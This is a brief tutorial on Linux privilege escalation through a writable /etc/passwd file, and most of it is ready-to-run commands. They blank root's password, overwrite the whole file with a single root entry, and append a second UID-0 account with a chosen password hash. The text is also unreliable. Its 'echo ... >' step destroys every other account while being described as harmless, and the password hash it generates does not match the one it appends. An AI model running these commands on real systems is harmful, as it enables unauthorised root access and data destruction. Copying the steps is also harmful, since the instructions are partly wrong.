Privilege escalation using passwd file

Passwords are normally stored in /etc/shadow, which is not readable by users. However, historically, they were stored in the world-readable file /etc/passwd along with all account information. For backward compatibility, if a password hash is present in the second column in /etc/passwd, it takes precedence over the one in /etc/shadow.

Historically, an empty second field in /etc/passwd means that the account has no password, i.e. anybody can log in without a password (used for guest accounts). This is sometimes disabled. If passwordless accounts are disabled, you can put the hash of a password of your choice. You can use the crypt function to generate password hashes, for example perl -le 'print crypt("foo", "aa")' to set the password to foo.

It's possible to gain root access even if you can only append to /etc/passwd and not overwrite the contents. That's because it's possible to have multiple entries for the same user, as long as they have different names — users are identified by their ID, not by their name, and the defining feature of the root account is not its name but the fact that it has user ID 0. So you can create an alternate root account by appending a line that declares an account with another name, a password of your choice and user ID 0.


Just type:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

and you are root.

(Removing x means root requires no password anymore, you can use sed command instead of echo yet this is enough to get root shell)


You can use this non-destructive method:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake